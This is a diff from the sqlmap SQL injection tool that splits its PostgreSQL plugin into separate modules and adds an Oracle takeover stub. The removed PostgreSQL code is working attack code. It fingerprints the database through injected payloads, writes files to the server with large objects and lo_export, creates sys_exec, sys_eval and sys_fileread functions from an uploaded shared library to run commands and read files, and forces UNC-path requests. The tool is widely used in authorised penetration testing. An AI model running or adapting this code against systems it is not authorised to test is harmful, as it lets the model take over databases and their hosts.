raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||||
|
|
||||||
|
lastIndex = firstIndex + index + 1
|
||||||
|
old = expression[firstIndex:lastIndex]
|
||||||
|
oldUpper = old.upper()
|
||||||
|
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
||||||
|
oldUpper = oldUpper.split("||")
|
||||||
|
|
||||||
|
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||||
|
expression = expression.replace(old, escaped)
|
||||||
|
|
||||||
|
return expression
|
51
plugins/dbms/oracle/takeover.py
Normal file
51
plugins/dbms/oracle/takeover.py
Normal file
|
@ -0,0 +1,51 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def __init__(self):
|
||||||
|
GenericTakeover.__init__(self)
|
||||||
|
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "Operating system command execution functionality not "
|
||||||
|
errMsg += "yet implemented for Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "Operating system shell functionality not yet "
|
||||||
|
errMsg += "implemented for Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "Operating system out-of-band control functionality "
|
||||||
|
errMsg += "not yet implemented for Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "One click operating system out-of-band control "
|
||||||
|
errMsg += "functionality not yet implemented for Oracle"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
@ -1,439 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
$Id$
|
|
||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
||||||
|
|
||||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
||||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
|
||||||
the terms of the GNU General Public License as published by the Free
|
|
||||||
Software Foundation version 2 of the License.
|
|
||||||
|
|
||||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
||||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License along
|
|
||||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import re
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
|
||||||
from lib.core.common import formatDBMSfp
|
|
||||||
from lib.core.common import formatFingerprint
|
|
||||||
from lib.core.common import getHtmlErrorFp
|
|
||||||
from lib.core.common import getRange
|
|
||||||
from lib.core.common import randomInt
|
|
||||||
from lib.core.common import randomStr
|
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
|
||||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
|
||||||
from lib.core.session import setDbms
|
|
||||||
from lib.core.settings import PGSQL_ALIASES
|
|
||||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
|
||||||
from lib.core.unescaper import unescaper
|
|
||||||
from lib.request import inject
|
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
|
||||||
from plugins.generic.filesystem import Filesystem
|
|
||||||
from plugins.generic.fingerprint import Fingerprint
|
|
||||||
from plugins.generic.misc import Miscellaneous
|
|
||||||
from plugins.generic.takeover import Takeover
|
|
||||||
|
|
||||||
|
|
||||||
class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|
||||||
"""
|
|
||||||
This class defines PostgreSQL methods
|
|
||||||
"""
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
|
||||||
self.sysUdfs = {
|
|
||||||
# UDF name: UDF parameters' input data-type and return data-type
|
|
||||||
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
|
||||||
"sys_eval": { "input": [ "text" ], "return": "text" },
|
|
||||||
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
|
||||||
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration.__init__(self, "PostgreSQL")
|
|
||||||
Filesystem.__init__(self)
|
|
||||||
Takeover.__init__(self)
|
|
||||||
|
|
||||||
unescaper.setUnescape(PostgreSQLMap.unescape)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def unescape(expression, quote=True):
|
|
||||||
if quote:
|
|
||||||
while True:
|
|
||||||
index = expression.find("'")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index + 1
|
|
||||||
index = expression[firstIndex:].find("'")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index
|
|
||||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
|
||||||
#unescaped = "("
|
|
||||||
unescaped = ""
|
|
||||||
|
|
||||||
for i in range(firstIndex, lastIndex):
|
|
||||||
unescaped += "CHR(%d)" % (ord(expression[i]))
|
|
||||||
if i < lastIndex - 1:
|
|
||||||
unescaped += "||"
|
|
||||||
|
|
||||||
#unescaped += ")"
|
|
||||||
expression = expression.replace(old, unescaped)
|
|
||||||
else:
|
|
||||||
expression = "||".join("CHR(%d)" % ord(c) for c in expression)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def escape(expression):
|
|
||||||
while True:
|
|
||||||
index = expression.find("CHR(")
|
|
||||||
if index == -1:
|
|
||||||
break
|
|
||||||
|
|
||||||
firstIndex = index
|
|
||||||
index = expression[firstIndex:].find("))")
|
|
||||||
|
|
||||||
if index == -1:
|
|
||||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
|
||||||
|
|
||||||
lastIndex = firstIndex + index + 1
|
|
||||||
old = expression[firstIndex:lastIndex]
|
|
||||||
oldUpper = old.upper()
|
|
||||||
oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
|
|
||||||
oldUpper = oldUpper.split("||")
|
|
||||||
|
|
||||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
|
||||||
expression = expression.replace(old, escaped)
|
|
||||||
|
|
||||||
return expression
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
|
||||||
value = ""
|
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
||||||
|
|
||||||
if wsOsFp:
|
|
||||||
value += "%s\n" % wsOsFp
|
|
||||||
|
|
||||||
if kb.data.banner:
|
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
||||||
|
|
||||||
if dbmsOsFp:
|
|
||||||
value += "%s\n" % dbmsOsFp
|
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
value += "PostgreSQL"
|
|
||||||
return value
|
|
||||||
|
|
||||||
actVer = formatDBMSfp()
|
|
||||||
blank = " " * 15
|
|
||||||
value += "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if kb.bannerFp:
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
|
||||||
banVer = formatDBMSfp([banVer])
|
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
||||||
|
|
||||||
htmlErrorFp = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlErrorFp:
|
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
||||||
|
|
||||||
return value
|
|
||||||
|
|
||||||
def checkDbms(self):
|
|
||||||
"""
|
|
||||||
References for fingerprint:
|
|
||||||
|
|
||||||
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
|
|
||||||
"""
|
|
||||||
|
|
||||||
if conf.dbms in PGSQL_ALIASES:
|
|
||||||
setDbms("PostgreSQL")
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
infoMsg = "testing PostgreSQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
randInt = str(randomInt(1))
|
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if result:
|
|
||||||
infoMsg = "confirming PostgreSQL"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
|
|
||||||
result = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if not result:
|
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
setDbms("PostgreSQL")
|
|
||||||
|
|
||||||
self.getBanner()
|
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2":
|
|
||||||
kb.dbmsVersion = [">= 8.4.0"]
|
|
||||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ):
|
|
||||||
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
|
|
||||||
elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2):
|
|
||||||
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
|
|
||||||
elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9":
|
|
||||||
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
|
|
||||||
elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3":
|
|
||||||
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
|
|
||||||
elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
|
|
||||||
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
|
|
||||||
elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
|
|
||||||
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
|
|
||||||
elif inject.getValue("BIT_LENGTH(1)") == "8":
|
|
||||||
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
|
|
||||||
elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
|
|
||||||
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
|
|
||||||
elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8":
|
|
||||||
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
|
|
||||||
elif inject.getValue("MAX('a')") == "a":
|
|
||||||
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
|
|
||||||
elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
|
|
||||||
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
|
|
||||||
elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2":
|
|
||||||
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
|
|
||||||
elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
|
|
||||||
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
|
|
||||||
else:
|
|
||||||
kb.dbmsVersion = ["< 6.2.0"]
|
|
||||||
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
return False
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
|
||||||
if kb.os:
|
|
||||||
return
|
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
|
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
|
||||||
|
|
||||||
# Windows executables should always have ' Visual C++' or ' mingw'
|
|
||||||
# patterns within the banner
|
|
||||||
osWindows = ( " Visual C++", "mingw" )
|
|
||||||
|
|
||||||
for osPattern in osWindows:
|
|
||||||
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
||||||
query += "LIKE '%" + osPattern + "%')>0"
|
|
||||||
query = agent.forgeCaseStatement(query)
|
|
||||||
|
|
||||||
if inject.getValue(query, charsetType=1) == "1":
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
break
|
|
||||||
|
|
||||||
if kb.os is None:
|
|
||||||
kb.os = "Linux"
|
|
||||||
|
|
||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
def forceDbmsEnum(self):
|
|
||||||
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
|
|
||||||
conf.db = "public"
|
|
||||||
|
|
||||||
warnMsg = "on PostgreSQL it is only possible to enumerate "
|
|
||||||
warnMsg += "on the current schema and on system databases, "
|
|
||||||
warnMsg += "sqlmap is going to use 'public' schema as "
|
|
||||||
warnMsg += "database name"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
|
||||||
errMsg = "PostgreSQL does not support file reading with UNION "
|
|
||||||
errMsg += "query SQL injection technique"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
self.initEnv()
|
|
||||||
|
|
||||||
return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread")
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
errMsg = "PostgreSQL does not support file upload with UNION "
|
|
||||||
errMsg += "query SQL injection technique"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
|
||||||
wFileSize = os.path.getsize(wFile)
|
|
||||||
|
|
||||||
if wFileSize > 8192:
|
|
||||||
errMsg = "on PostgreSQL it is not possible to write files "
|
|
||||||
errMsg += "bigger than 8192 bytes at the moment"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
self.oid = randomInt()
|
|
||||||
|
|
||||||
debugMsg = "creating a support table to write the base64 "
|
|
||||||
debugMsg += "encoded file to"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
||||||
|
|
||||||
logger.debug("encoding file to its base64 string value")
|
|
||||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the base64 "
|
|
||||||
debugMsg += "encoded file to the support table"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
|
||||||
|
|
||||||
logger.debug("inserting the base64 encoded file to the support table")
|
|
||||||
|
|
||||||
for sqlQuery in sqlQueries:
|
|
||||||
inject.goStacked(sqlQuery)
|
|
||||||
|
|
||||||
debugMsg = "create a new OID for a large object, it implicitly "
|
|
||||||
debugMsg += "adds an entry in the large objects system table"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
# References:
|
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
|
||||||
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
|
||||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
|
||||||
|
|
||||||
debugMsg = "updating the system large objects table assigning to "
|
|
||||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
|
||||||
debugMsg += "as data"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
# Refereces:
|
|
||||||
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
|
|
||||||
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
|
||||||
#
|
|
||||||
# NOTE: From PostgreSQL site:
|
|
||||||
#
|
|
||||||
# "The data stored in the large object will never be more than
|
|
||||||
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
|
|
||||||
# typically 2 Kb"
|
|
||||||
#
|
|
||||||
# As a matter of facts it was possible to store correctly a file
|
|
||||||
# large 13776 bytes, the problem arises at next step (lo_export())
|
|
||||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
|
||||||
|
|
||||||
debugMsg = "exporting the OID %s file content to " % fileType
|
|
||||||
debugMsg += "file '%s'" % dFile
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
|
||||||
# (pg_largeobject 'data' field)
|
|
||||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
|
||||||
|
|
||||||
if confirm:
|
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
||||||
|
|
||||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
|
||||||
|
|
||||||
def udfSetRemotePath(self):
|
|
||||||
# On Windows
|
|
||||||
if kb.os == "Windows":
|
|
||||||
# The DLL can be in any folder where postgres user has
|
|
||||||
# read/write/execute access is valid
|
|
||||||
# NOTE: by not specifing any path, it will save into the
|
|
||||||
# data directory, on PostgreSQL 8.3 it is
|
|
||||||
# C:\Program Files\PostgreSQL\8.3\data.
|
|
||||||
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
||||||
|
|
||||||
# On Linux
|
|
||||||
else:
|
|
||||||
# The SO can be in any folder where postgres user has
|
|
||||||
# read/write/execute access is valid
|
|
||||||
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
||||||
|
|
||||||
def udfSetLocalPaths(self):
|
|
||||||
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
||||||
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
|
|
||||||
|
|
||||||
self.getVersionFromBanner()
|
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
|
||||||
|
|
||||||
if banVer >= "8.4":
|
|
||||||
majorVer = "8.4"
|
|
||||||
elif banVer >= "8.3":
|
|
||||||
majorVer = "8.3"
|
|
||||||
elif banVer >= "8.2":
|
|
||||||
majorVer = "8.2"
|
|
||||||
else:
|
|
||||||
errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
|
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
|
||||||
|
|
||||||
if kb.os == "Windows":
|
|
||||||
self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer
|
|
||||||
self.udfSharedLibExt = "dll"
|
|
||||||
else:
|
|
||||||
self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer
|
|
||||||
self.udfSharedLibExt = "so"
|
|
||||||
|
|
||||||
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
||||||
if udf in self.udfToCreate:
|
|
||||||
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
||||||
|
|
||||||
inp = ", ".join(i for i in inpRet["input"])
|
|
||||||
ret = inpRet["return"]
|
|
||||||
|
|
||||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
|
||||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
||||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
|
|
||||||
|
|
||||||
self.createdUdf.add(udf)
|
|
||||||
else:
|
|
||||||
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
||||||
|
|
||||||
def uncPathRequest(self):
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
||||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
57
plugins/dbms/postgresql/__init__.py
Normal file
57
plugins/dbms/postgresql/__init__.py
Normal file
|
@ -0,0 +1,57 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.postgresql.enumeration import Enumeration
|
||||||
|
from plugins.dbms.postgresql.filesystem import Filesystem
|
||||||
|
from plugins.dbms.postgresql.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.postgresql.syntax import Syntax
|
||||||
|
from plugins.dbms.postgresql.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines PostgreSQL methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = PGSQL_SYSTEM_DBS
|
||||||
|
self.sysUdfs = {
|
||||||
|
# UDF name: UDF parameters' input data-type and return data-type
|
||||||
|
"sys_exec": { "input": [ "text" ], "return": "int4" },
|
||||||
|
"sys_eval": { "input": [ "text" ], "return": "text" },
|
||||||
|
"sys_bineval": { "input": [ "text" ], "return": "int4" },
|
||||||
|
"sys_fileread": { "input": [ "text" ], "return": "text" }
|
||||||
|
}
|
||||||
|
|
||||||
|
Syntax.__init__(self)
|
||||||
|
Fingerprint.__init__(self)
|
||||||
|
Enumeration.__init__(self)
|
||||||
|
Filesystem.__init__(self)
|
||||||
|
Miscellaneous.__init__(self)
|
||||||
|
Takeover.__init__(self)
|
||||||
|
|
||||||
|
unescaper.setUnescape(PostgreSQLMap.unescape)
|
29
plugins/dbms/postgresql/enumeration.py
Normal file
29
plugins/dbms/postgresql/enumeration.py
Normal file
|
@ -0,0 +1,29 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def __init__(self):
|
||||||
|
GenericEnumeration.__init__(self, "PostgreSQL")
|
128
plugins/dbms/postgresql/filesystem.py
Normal file
128
plugins/dbms/postgresql/filesystem.py
Normal file
|
@ -0,0 +1,128 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def __init__(self):
|
||||||
|
self.oid = None
|
||||||
|
|
||||||
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
|
def unionReadFile(self, rFile):
|
||||||
|
errMsg = "PostgreSQL does not support file reading with UNION "
|
||||||
|
errMsg += "query SQL injection technique"
|
||||||
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
def stackedReadFile(self, rFile):
|
||||||
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.initEnv()
|
